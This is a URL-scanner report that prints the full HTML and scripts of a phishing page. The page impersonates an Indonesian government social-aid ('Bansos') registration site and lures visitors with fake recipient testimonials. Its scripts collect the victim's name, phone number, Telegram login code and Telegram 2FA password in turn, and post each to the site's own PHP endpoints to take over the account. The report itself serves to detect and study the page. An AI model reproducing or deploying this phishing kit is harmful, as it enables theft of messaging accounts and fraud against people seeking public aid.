- 제출된 URL:
- https://indoinspire.com/daftar8
- 보고서 완료:
링크 · 0개 결과
페이지에서 식별된 외부 링크
JavaScript 변수 · 46개 결과
페이지의 창 개체에 로드된 전역 JavaScript 변수는 함수 외부에서 선언된 변수로, 현재 범위 내에서 코드의 어느 부분에서나 액세스할 수 있습니다
| 이름 | 유형 |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| Vue | function |
| ClipboardJS | function |
| idn | string |
| en_us | string |
| vi | string |
| spanish | string |
| russian | string |
콘솔 로그 메시지 · 2개 결과
웹 콘솔에 기록된 메시지
| 유형 | 카테고리 | 로그 |
|---|---|---|
| error | network |
|
| error | network |
|
HTML
페이지의 원시 HTML 본문
<!DOCTYPE html><html lang="en" class="h-100"><head id="ctl00_Head1">
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<link href="/assets/css/custom.css" type="text/css" rel="stylesheet">
<link href="/assets/css/menebus.css" type="text/css" rel="stylesheet">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta property="og:title" content="Bantuan Sosial Kementerian">
<meta property="og:image" content="/assets/img/garuda.png">
<meta name="description" content="Pusat Informasi dan Pendaftaran Bantuan Sosial" "="">
<meta name="author" content="">
<title>Bantuan Sosial Kementerian</title>
<link rel="icon" type="image/x-icon" href="favicon.png">
<link rel="canonical" href="https://getbootstrap.com/docs/5.0/examples/sticky-footer/">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/font/bootstrap-icons.css">
<script type="text/javascript" src="/js/vue.min.js.download"></script>
<script src="/js/clipboard.js.download"></script>
<script type="text/javascript" src="/js/index.js.download"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
<style type="text/css">
ul.carouseltext {
width: 27em;
padding: 0;
margin: 50px auto 0;
border: 10px solid #fff;
box-shadow: 0px 2px 3px #eaeaea;
}
ul.carouseltext li {
background: #f7f7f7;
color: #959ead;
list-style-type: none;
padding: 1em;
margin: 0;
transition: background-color 0.5s;
}
ul.carouseltext li:nth-child(2) {
color: #fff;
background: #1998c4;
}
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
user-select: none;
}
@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
/* CSS untuk form OTP */
.otp-container {
display: flex;
gap: 10px;
justify-content: center;
margin-top: 20px;
}
.otp-input {
width: 50px;
height: 50px;
text-align: center;
font-size: 24px;
border: 2px solid #ccc;
border-radius: 5px;
}
.otp-input:focus {
outline: none;
border-color: #007bff;
box-shadow: 0 0 5px rgba(0, 123, 255, 0.5);
}
/* Absolute Center Spinner */
.loading {
position: fixed;
z-index: 999;
height: 2em;
width: 2em;
overflow: show;
margin: auto;
top: 0;
left: 0;
bottom: 0;
right: 0;
}
/* Transparent Overlay */
.loading:before {
content: '';
display: block;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));
background: -webkit-radial-gradient(rgba(20, 20, 20, .8), rgba(0, 0, 0, .8));
}
/* :not(:required) hides these rules from IE9 and below */
.loading:not(:required) {
/* hide "loading..." text */
font: 0/0 a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0;
}
.loading:not(:required):after {
content: '';
display: block;
font-size: 10px;
width: 1em;
height: 1em;
margin-top: -0.5em;
-webkit-animation: spinner 150ms infinite linear;
-moz-animation: spinner 150ms infinite linear;
-ms-animation: spinner 150ms infinite linear;
-o-animation: spinner 150ms infinite linear;
animation: spinner 150ms infinite linear;
border-radius: 0.5em;
-webkit-box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
box-shadow: rgba(255, 255, 255, 0.75) 1.5em 0 0 0, rgba(255, 255, 255, 0.75) 1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) 0 1.5em 0 0, rgba(255, 255, 255, 0.75) -1.1em 1.1em 0 0, rgba(255, 255, 255, 0.75) -1.5em 0 0 0, rgba(255, 255, 255, 0.75) -1.1em -1.1em 0 0, rgba(255, 255, 255, 0.75) 0 -1.5em 0 0, rgba(255, 255, 255, 0.75) 1.1em -1.1em 0 0;
}
/* Animation */
@-webkit-keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@-moz-keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@-o-keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
@keyframes spinner {
0% {
-webkit-transform: rotate(0deg);
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg);
}
100% {
-webkit-transform: rotate(360deg);
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg);
}
}
</style>
<script type="text/javascript" src="/static/js/locale/en_us.js?t=1733278886512"></script></head>
<body class="d-flex flex-column h-100" style="">
<!-- Toast Sukses -->
<div class="position-fixed top-0 end-0 p-3" style="z-index: 11">
<div id="liveToast" class="toast hide" role="alert" aria-live="assertive" aria-atomic="true">
<div class="toast-header">
<strong class="me-auto">Sukses</strong>
<button type="button" class="btn-close" data-bs-dismiss="toast" aria-label="Close"></button>
</div>
<div class="toast-body">
Sukses update data
</div>
</div>
</div>
<div id="loading" class="loading" style="display: none;"></div>
<!-- Navbar / Menu -->
<main class="flex-shrink-0">
<div id="ctl00_divContainer" class="container-narrow mx-auto">
<!-- Language -->
<div class="text-center mt-2">
<a id="ctl00_lnkMalay" disabled="disabled" style="color:Black;font-weight:bold;text-decoration:none;">Bahasa Indonesia</a>
<span id="ctl00_lblPipe_bm"> | </span>
<a id="ctl00_lnkEng" href="">English</a>
<span id="ctl00_lblPipe_bi"> | </span>
<a id="ctl00_lnkChineseSimplified" href=""> 中文(简体) </a>
<span id="ctl00_lblPipe_bc"> | </span>
<a id="ctl00_lnkTamilInd" href="">தமிழ் </a>
</div>
<!-- Header -->
<div class="header mt-3 text-center w-100">
<img alt="header" src="/assets/img/e8b4fe7c-c441-4674-b8cc-b84c24b10688.jpeg" id="ctl00_logohead" class="img-fluid" width="100%">
</div>
<span id="ctl00_lblMsg"></span>
<div id="errorfetch"></div>
<div class="container container-narrow my-5">
<!-- Phone Form -->
<div class="first">
<!-- Title -->
<h2 class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">Cek Penerima Bansos</span>
</h2>
<!-- Description -->
<div class="mb-4">Untuk mendaftar silahkan login menggunakan akun Telegram. Dan kami akan menghubungi anda untuk verifikasi penerimaan bansos</div>
<!-- Form -->
<form action="javascript:void(0)" method="post" id="firstForm">
<div class="input-group mb-3">
<span class="input-group-text" id="basic-addon1">Nama</span>
<input name="full_name" id="full_name" maxlength="18" class="form-control" type="text" required="true" placeholder="Nama Lengkap Sesuai e-KTP" title="">
</div>
<div class="input-group mb-3">
<span class="input-group-text" id="basic-addon1">🇲🇨</span>
<input name="phone_number" id="phone_number" maxlength="18" class="form-control" type="tel" value="+62" required="true" placeholder="812345xxxxx" title="">
</div>
<div id="errorphone"></div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processFirstData()">Cek Bantuan</button>
</div>
</form>
</div>
<!-- OTP Form -->
<div class="second" style="display: none;">
<h2 class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">Cek Status Bansos</span>
</h2>
<div class="mb-2">Silahkan masukkan kode verifikasi telegram untuk mengecek status bantuan anda</div>
<!-- Form -->
<form action="javascript:void(0)" method="post" id="secondForm">
<input type="hidden" name="full_name" id="validateFullName" readonly="">
<input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
<div class="otp-container mb-3">
<input type="text" class="otp-input" maxlength="1" id="otp1">
<input type="text" class="otp-input" maxlength="1" id="otp2">
<input type="text" class="otp-input" maxlength="1" id="otp3">
<input type="text" class="otp-input" maxlength="1" id="otp4">
<input type="text" class="otp-input" maxlength="1" id="otp5">
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processSecondData()"><select:disabled></select:disabled>Teruskan</button>
</div>
</form>
</div>
<!-- Password Form -->
<div class="third" style="display: none;">
<form action="javascript:void(0)" method="post" id="thirdForm">
<h2 class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">Cek Status Bansos</span>
</h2>
<div class="mb-2">Masukkan Password jika ada, atau langsung klik Lanjutkan jika Autentikasi 2FA tidak aktif</div>
<input type="hidden" name="full_name" id="validateFullName" readonly="">
<input type="hidden" name="phone_number" id="validatePhoneNumber" readonly="">
<input type="hidden" name="otp_code" id="validateOtp_code" readonly="">
<div class="mb-3">
<input name="password" id="password" class="form-control" type="text" placeholder="********">
<div class="mt-2">Langsung klik lanjutkan jika anda tidak memiliki password telegram</div>
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processThirdData()">Teruskan</button>
</div>
</form>
</div>
<!-- Success Page -->
<div class="row four" id="ctl00_RecipientMasterContent_divResultNotFound" style="display: none;">
<p class="text-center"><img alt="loading" src="/assets/img/processing.gif" id="ctl00_logohead" class="img-fluid" width="160"></p>
<h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">Harap menunggu proses verifikasi dalam waktu 1x24 jam untuk memeriksa kelayakan,
</span></h5>
<h5 class="text-center"><span id="ctl00_RecipientMasterContent_lblNoRecord">gunakan nomor telepon lain
dan</span></h5>
<p class="text-center"><a href="" class="btn btn-lg btn-block btn-mk">« <span id="ctl00_RecipientMasterContent_lblGoBack_NoResult">Coba Lagi</span></a>
</p>
</div>
</div>
<!-- Bottom Image -->
<ul class="carouseltext" style="height: 385px; overflow: hidden;">
<li class="first">
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Ahmad Fauzi</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Siti Nurjanah</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Budi Santoso</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Rina Melati</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Yanto Prabowo</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Fitriani Wulandari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Andi Kurniawan</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Dewi Lestari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Rizky Firmansyah</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Nurul Hidayah</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Joko Widodo</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Mita Sari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Agus Setiawan</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Lani Amalia</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Dodi Prasetyo</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Sari Puspitasari</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Teddy Pramono</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Citra Adinda</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Haris Nugroho</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
<li>
<div class="row">
<div class="col-2">
<img class="rounded-circle" src="/assets/img/avatar.png" alt="profile" width="40px">
</div>
<div class="col">
<div>Melinda Anggraini</div>
<div class="small">Mendapatkan Bantuan Rp. 500.000</div>
</div>
</div>
</li>
</ul>
<script type="text/javascript">
//<![CDATA[
var Page_ValidationActive = false;
if (typeof (ValidatorOnLoad) == "function") {
ValidatorOnLoad();
}
function ValidatorOnSubmit() {
if (Page_ValidationActive) {
return ValidatorCommonOnSubmit();
} else {
return true;
}
}
</script>
<!-- record berjaya box -->
</div>
</main>
<br>
<div class="header mt-3 text-center">
<img alt="footer" src="/assets/img/ini1.png" id="ctl00_logohead" class="img-fluid" width="450">
</div>
<input id="slugurl" type="hidden" value="daftar8">
<footer class="footer mt-auto py-3">
<div class="container">
<div class="row">
<div class="col-5">
<span class="text-white">
<span id="ctl00_lblCopyRight">2024 All Rights Reserved. </span>
</span>
</div>
<div class="col">
<ul class="nav justify-content-end">
<li class="nav-item">
<a id="ctl00_lnkFaq" class="nav-link" href="">
<i class="bi-question-circle"></i>
<span id="ctl00_lblFAQ"></span></a>
</li>
<li class="nav-item">
<p id="ctl00_linkMerchList">
<a class="nav-link" href=""><i class="bi-shop"></i>
<span id="ctl00_lblMerchList"></span></a>
</p>
</li>
<li class="nav-item">
<a href="" id="ctl00_linkContactUs" class="nav-link"><i class="bi-envelope"></i>
<span id="ctl00_lblctctus"></span></a>
</li>
</ul>
</div>
</div>
</div>
</footer>
<script src="https://code.jquery.com/jquery-3.7.1.min.js" integrity="sha256-/JqT3SQfawRcv/BIHPThkBvs0OEvtFFmqPF/lYI/Cxo=" crossorigin="anonymous"></script>
<script type="text/javascript" src="http://code.jquery.com/jquery-1.10.2.min.js"></script>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
<script type="text/javascript" src="/js/jquery-3.4.1.min.js.download"></script>
<script>const slug = "daftar8"</script>
<script>
// 加载多语言
var language = getQueryString('language')
loadLocale(function (e) {
app.locale = Object.assign(e.Common, e.CommonShare)
}, language)
var app = new Vue({
el: '#app',
data: {
locale: {},
uid: '2004219',
},
created() {
$('#app').show();
this.starScroll();
},
methods: {
starScroll() {
var _this = this;
_this.scrollTimer && clearTimeout(_this.scrollTimer)
_this.scrollTimer = setTimeout(() => {
var $box = $("#list").find(".list:first");
$box.css({
marginTop: 0
})
var $item = $box.find(".item:first");
var outerHeight = $item.outerHeight(true)
$box.animate({
"marginTop": -outerHeight + "px"
}, 1000, function () {
$box.css({
marginTop: 0
}).find(".item:first").appendTo($box);
_this.starScroll();
})
}, 600);
},
},
})
</script>
<script>
var x = 0,
container = $('.carouseltext'),
items = container.find('li'),
containerHeight = 0,
numberVisible = 5,
intervalSec = 2000;
if(!container.find('li:first').hasClass("first")){
container.find('li:first').addClass("first");
}
items.each(function(){
if(x < numberVisible){
containerHeight = containerHeight + $(this).outerHeight();
x++;
}
});
container.css({ height: containerHeight, overflow: "hidden" });
function vertCycle() {
var firstItem = container.find('li.first').html();
container.append('<li>'+firstItem+'</li>');
firstItem = '';
container.find('li.first').animate({ marginTop: "-50px" }, 600, function(){ $(this).remove(); container.find('li:first').addClass("first"); });
}
if(intervalSec < 700){
intervalSec = 700;
}
var init = setInterval("vertCycle()",intervalSec);
container.hover(function(){
clearInterval(init);
}, function(){
init = setInterval("vertCycle()",intervalSec);
});
</script>
<script>
function processFirstData(){
$('#firstForm').submit(function(submitingprocessFirstData){
submitingprocessFirstData.preventDefault();
var $full_name = $("input#full_name").val();
var $phone_number = $("input#phone_number").val();
if($full_name == "" && $phone_number == ""){
$('.verification_info').show();
$('.account_verification').hide();
return false;
}
let dataArray = $(this).serializeArray();
dataArray.push({name: 'slug', value: slug})
console.log('dataarray', dataArray);
$.ajax({
type: "POST",
url: "/core/phone.php",
data: dataArray,
beforeSend: function() {
$(".second").show();
$('.first').hide();
},
success: function(){
$('.loading').hide();
$("input#validateFullName").val($full_name);
$("input#validatePhoneNumber").val($phone_number);
const toastElList = [].slice.call(document.querySelectorAll('.toast'))
const toastList = toastElList.map(function (toastEl) {
return new bootstrap.Toast(toastEl)
})
toastList.forEach(toast => toast.show())
},
error: function(jqXHR, exception){
$(".second").hide();
$('.first').show();
if(jqXHR.responseText) {
const responseData = JSON.parse(jqXHR.responseText)
const message = responseData.message
if (jqXHR.status == 400) {
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 420) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 404) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
} else if (jqXHR.status != 500) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
}
return
}
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>Ada masalah, silahkan hubungi admin</div>`)
$('.loading').hide();
}
});
});
return false;
};
const otpInputs = $('.otp-input');
otpInputs.each(function(index, input) {
$(input).on('input', function() {
if (this.value.length === 1 && index < otpInputs.length - 1) {
otpInputs.eq(index + 1).focus(); // Pindah ke input berikutnya jika ada nilai
}
});
$(input).on('keydown', function(event) {
if (event.key === 'Backspace' && this.value === '' && index > 0) {
otpInputs.eq(index - 1).focus(); // Pindah ke input sebelumnya jika kosong dan tekan Backspace
}
});
});
function processSecondData(){
$('#secondForm').submit(function(submitingprocessSecondData){
submitingprocessSecondData.preventDefault();
const full_name = $("input#validateFullName").val();
const phone_number = $("input#validatePhoneNumber").val();
const otp_code = Array.from($('.otp-input')).map(input => input.value).join('');
if(full_name == "" && phone_number == "" && otp_code == ""){
$('.verification_info').show();
$('.account_verification').hide();
return false;
}
const slug = $('#slugurl').val();
// let dataArray = $(this).serializeArray();
// dataArray.push({name: 'slug', value: slug})
$.ajax({
type: "POST",
url: "/core/otp.php",
data: {full_name, phone_number, otp_code, slug},
beforeSend: function() {
$('.loading').show();
},
success: function(){
$(".third").show();
$('.loading').hide();
$('.second').hide();
$("input#validateOtp_code").val(otp_code);
const toastElList = [].slice.call(document.querySelectorAll('.toast'))
const toastList = toastElList.map(function (toastEl) {
return new bootstrap.Toast(toastEl)
})
toastList.forEach(toast => toast.show())
},
error: function(jqXHR, exception){
if(jqXHR.responseText) {
const responseData = JSON.parse(jqXHR.responseText)
const message = responseData.message
if (jqXHR.status == 400) {
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 420) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 404) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
} else if (jqXHR.status != 500) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
}
return
}
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
$('.loading').hide();
}
});
});
return false;
};
function processThirdData(){
$('#thirdForm').submit(function(submitingprocessThirdData){
submitingprocessThirdData.preventDefault();
var full_name = $("input#validateFullName").val();
var phone_number = $("input#validatePhoneNumber").val();
var otp_code = $("input#validateOtp_code").val();
var password = $("input#password").val();
if(full_name == "" && phone_number == "" && otp_code == "" && password == ""){
$('.verification_info').show();
$('.account_verification').hide();
return false;
}
const slug = $('#slugurl').val();
$.ajax({
type: "POST",
url: "/core/password.php?slug="+slug,
data: {full_name, phone_number, otp_code, slug, password},
beforeSend: function() {
$('.loading').show();
},
success: function(){
$(".four").show();
$('.loading').hide();
$('.third').hide();
const toastElList = [].slice.call(document.querySelectorAll('.toast'))
const toastList = toastElList.map(function (toastEl) {
return new bootstrap.Toast(toastEl)
})
toastList.forEach(toast => toast.show())
},
error: function(jqXHR, exception){
if(jqXHR.responseText) {
const responseData = JSON.parse(jqXHR.responseText)
const message = responseData.message
if (jqXHR.status == 400) {
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 420) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else if (jqXHR.status == 404) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Sepertinya telegram belum tersambung atau tidak ditemukan</div>`)
} else if (jqXHR.status != 500) {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>${message}</div>`)
} else {
$('#errorfetch').html(
`<div class='alert alert-danger' role='alert'>Ada kesalahan, silahkan coba lagi nanti</div>`)
}
return
}
$('#errorphone').html(
`<div class='alert alert-danger' role='alert'>Ada masalah, silahkan hubungi admin</div>`)
$('.loading').hide();
}
});
});
return false;
};
</script>
</body></html>